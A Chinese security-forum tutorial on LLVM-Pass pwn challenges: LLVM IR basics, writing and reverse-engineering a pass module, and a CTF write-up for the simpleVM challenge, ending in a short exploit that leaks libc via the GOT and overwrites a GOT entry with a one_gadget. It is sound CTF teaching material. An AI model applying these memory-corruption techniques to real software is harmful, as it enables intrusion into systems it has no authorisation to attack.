首页
社区
课程
招聘
[原创]深入二进制安全:LLVM-Pass
发表于: 2024-6-20 10:53 10678

[原创]深入二进制安全:LLVM-Pass

2024-6-20 10:53
10678

LLVM-PASS

Ciscn2021和2022都有一道名为Satool的题目,它是LLVM-PASS类Pwn题。

由于高版本glibc的IO题比较模板化,近两年ciscn半决赛对LLVM-PASS等逆向难度较高的题目也都有所涉及。

本科期间在《编译原理》这门课学习过LLVM的一些基础知识,这里系统的总结下LLVM-PASS在二进制安全中的应用。

简介

LLVM

LLVM是构架编译器(compiler)的框架系统,以C++编写而成,用于优化以任意程序语言编写的程序的编译时间(compile-time)、链接时间(link-time)、运行时间(run-time)以及空闲时间(idle-time),对开发者保持开放,并兼容已有脚本。

简单来说,LLVM是编译器框架,用于优化编写的程序。

LLVM又分为前端和后端:

  • 前端:经过词法分析、语法分析、语义分析等环节,将源代码转换为IR中间代码
  • 后端:经过指令选择、指令调度、寄存器分配等环境,将IR中间代码转换为可执行的二进制代码或汇编代码

其中,LLVM-IR有三种形式:

  • .ll格式:介于高级语言和汇编语言之间,人类可以阅读的文本。
  • .bc格式:bitcode,不可读,适合机器存储的二进制文件。
  • 内存表示:保存在内存中,无法被看到。

通过下面的命令可以实现不同格式代码互相转换:

1
2
3
4
5
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

LLVM-PASS

PASS是一种结构化技术,通常作用于IR中间代码,通过opt利用写好的so库优化已有的IR中间代码。

其中,opt是LLVM的优化器和分析器,可以加载指定的模块,对LLVM IR或LLVM字节码进行分析和优化。

CTF题目一般会给出opt,通过./opt --version查看版本,或在README.md文档中告知opt版本。

LLVM核心库中提供了一些可以继承的pass类,可以对IR中间代码遍历实现代码优化、代码插桩等操作。

而LLVM-PASS类的pwn题,就是利用这一过程中可能出现的漏洞。

LLVM PASS类题目都会给出一个xxx.so,即自定义的LLVM PASS模块,漏洞点就自然会出现在其中。

我们可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令加载模块并启动LLVM的优化分析(其中-xxxxxx.so中注册的PASS的名称,README文档中一般会给出,也可以通过逆向PASS模块得到)。(注意,新版本需要加-enable-new-pm=0 -f参数)

需要注意的是,若题目给了opt文件,就用题目指定的opt文件启动LLVM并调试(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系统安装的opt,可能会和题目所给的有不同。

在打远程的时候,与KernelQEMU逃逸的题类似:将exp.llexp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。

环境安装

通过apt安装二进制安全中常用的三个版本clang和llvm:

1
2
3
4
5
6
7
8
sudo apt install clang-8
sudo apt install llvm-8
  
sudo apt install clang-10
sudo apt install llvm-10
  
sudo apt install clang-12
sudo apt install llvm-12

安装好llvm后,可在/usr/lib/llvm-xx/bin/opt路径下找到对应llvm版本的opt文件(一般不开PIE保护)。

image-20240610101033014

编写LLVM-PASS

官方文档:4ceK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9L8s2k6E0i4K6u0W2L8%4u0Y4i4K6u0r3k6r3!0U0M7#2)9J5c8W2N6J5K9i4c8A6L8X3N6m8L8V1I4x3g2V1#2b7j5i4y4K6i4K6u0W2K9s2c8E0L8l9`.`.

这里直接引用Winmt师傅编写的LLVM-Pass Demo和关键语法解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Hello.cpp
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;
  
namespace {
  struct Hello : public FunctionPass {
    static char ID;
    Hello() : FunctionPass(ID) {}
    bool runOnFunction(Function &F) override {
      errs() << "Hello: ";
      errs().write_escaped(F.getName()) << '\n';
      SymbolTableList::const_iterator bbEnd = F.end();
      for(SymbolTableList::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){
         SymbolTableList::const_iterator instIter = bbIter->begin();
         SymbolTableList::const_iterator instEnd  = bbIter->end();
         for(; instIter != instEnd; ++instIter){
            errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n";
            if (instIter->getOpcode() == 56)
            {
                if(const CallInst* call_inst = dyn_cast(instIter)) {
                    errs() << call_inst->getCalledFunction()->getName() << "\n";
                    for (int i = 0; i < instIter->getNumOperands()-1; i++)
                    {
                        if (isa(call_inst->getOperand(i)))
                        {
                            errs() << "Operand " << i << " = " << dyn_cast(call_inst->getArgOperand(i))->getZExtValue() << "\n";
                        }
                    }
                }
            }
         }
      }
      return false;
    }
  };
}
  
char Hello::ID = 0;
  
// Register for opt
static RegisterPass X("Hello", "Hello World Pass");
  
// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
  [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
    PM.add(new Hello());
  });

通过下面的命令编译为LLVMHello.so模块(llvm安装后的可执行文件在/usr/lib/llvm-xx/bin/目录):

1
clang-12 `/usr/lib/llvm-12/bin/llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `/usr/lib/llvm-12/bin/llvm-config --ldflags`

上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类,并重写了其中的runOnFunction函数(一般的CTF题都是如此)。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。

下面解释一下上述代码中的一些常用LLVM语法:

  1. getName()函数用于获取当前runOnFunction正处理的函数名
  2. 第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历
  3. getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符。
  4. 当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用BgetCalledFunction()函数就是用于获取此处B函数的名称
  5. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数
  6. 再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于callinvoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)
  7. if (isa(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt
  8. static RegisterPass X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称

逆向分析so模块

一般来说,CTF题目中的LLVM-Pass也重写FunctionPass类中的runOnFunction函数。

拿到一个so模块,我们首先需要定位runOnFunction函数,漏洞点一般就在其中。

找到.data.rel.ro模块末尾的vtable:

850K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6L8h3q4Y4k6g2)9J5k6i4S2^5P5r3u0Q4x3X3g2U0L8W2)9J5c8X3u0D9L8$3N6Q4x3V1k6A6L8h3q4Y4k6g2)9J5k6o6t1H3x3U0b7H3y4U0p5H3x3e0l9@1x3o6x3I4y4e0l9K6i4K6u0W2M7r3&6Y4" alt="image-20240610104031503" />

最后一项即重写的runOnFunction函数,而PASS注册的名称一般会在README.md文件中给出。

如果没有给出,可以对__cxa_atexit函数交叉引用来定位。

gdb动态调试so模块

首先用gdb调试opt,并用set args设置参数传入,然后在main函数下断点后运行。

image-20240610104633664

程序运行后,会先call一些初始化函数:

image-20240610104743662

然后执行真正的代码加载so模块:

image-20240610105025763

此时,so模块被加载到程序中:

image-20240610105047744

opt通过下面这条调用链重写runOnFunction函数:

1
run -> runOnModule -> runOnFunction

例题

红帽杯-2021 simpleVM

题目给了opt-8、libc-2.31.so和VMPass.so文件:

image-20240610105544406

显然是LLVM-Pass类题目,并且opt的版本为8,我们将VMPass.so拖入IDA分析:

image-20240610105838733

根据对__cxa_atexit函数交叉引用发现模块名为VMPass。

定位到上图中的runOnFunction函数,首先调用getName获取当前函数名,然后判断函数名是否为o0o0o0o0

如果函数名为o0o0o0o0则调用memcmp(Name, "o0o0o0o0", v5),然后根据是否调用memcpy调用sub_6AC0(a1, a2)。

显而易见,关键函数为sub_6AC0(a1, a2),我们需要传入的函数名为o0o0o0o0

继续分析sub_6AC0函数:

image-20240610110247186

这段代码遍历所有函数,然后遍历每个函数的块并将每个块作为参数调用sub_6B80函数,继续跟进分析:

image-20240610110445566

对于pop、push、store、load、add、min函数调用会做出不同的处理,以pop为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( !strcmp(funcName, "pop") )
{
    if ( (unsigned int)llvm::CallBase::getNumOperands(callInstruction) == 2 )
    {
        ArgOperand = llvm::CallBase::getArgOperand(callInstruction, 0);
        v32 = 0LL;
        v31 = (llvm::ConstantInt *)llvm::dyn_cast(ArgOperand);
        if ( v31 )
        {
            ZExtValue = llvm::ConstantInt::getZExtValue(v31);
            if ( ZExtValue == 1 )
                v32 = off_20DFD0;
            if ( ZExtValue == 2 )
                v32 = off_20DFC0;
        }
        if ( v32 )
        {
            v3 = off_20DFD8;
            *v32 = *(_QWORD *)*off_20DFD8;
            *v3 = (char *)*v3 - 8;
        }
    }
}

所有的函数第一个参数为int类型,值为1或2,确定操作哪个全局变量。

这两个全局变量1和2中存储地址,因此是二级指针类型的变量。

对于push函数,实现压栈操作,将全局变量i的值压入栈中。

对于pop函数,实现弹栈操作,将栈顶元素弹出到全局变量i中。

对于store函数,实现任意地址写,将全局变量i指向的地址处的值赋值给全局变量k。

对于load函数,实现任意地址读,将全局变量i存储的地址赋值给全局变量k指向的地址处。

对于add函数,实现加法操作。对于min函数,实现减法操作。

可以考虑通过任意地址读泄露got表中函数地址,以此泄露libc基地址。

然后通过add、min函数对其进行修改,再利用任意地址写劫持got表为one_gadget。

exp如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// clang-8 -emit-llvm -S exp.c -o exp.ll
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);
 
void o0o0o0o0()
{
    add(1, 0x77e100);
    load(1);
    add(2, 0x4942e);
    // add(1, 0x870);
    min(1, 0x100);
    store(1);
}

Ciscn2021-satool

分析方法同上,找到模块名为SApass。然后找到vtable最后一项函数:

image-20240610135827019


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-6-20 11:27 被Real返璞归真编辑 ,原因:
上传的附件:
收藏
免费 6
支持
分享
最新回复 (4)
雪    币: 1984
活跃值: (2529)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
现在对抗都已经玩到编译器里去了嘛。。。。。。
2024-6-21 12:06
0
雪    币: 2592
活跃值: (1030)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
iaoedsz2018 现在对抗都已经玩到编译器里去了嘛。。。。。。
是这样的,出点逆向难的或者编译器、vm之类的,不然大家都直接用套路秒了
2024-6-21 15:18
0
雪    币: 1984
活跃值: (2529)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
Real返璞归真 是这样的,出点逆向难的或者编译器、vm之类的,不然大家都直接用套路秒了[em_16]
对抗门槛越来越高了
2024-6-21 16:37
0
雪    币: 2223
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
大佬跳槽不,高薪稳定,求才若渴
2024-7-1 16:59
0
游客
登录 | 注册 方可回帖
返回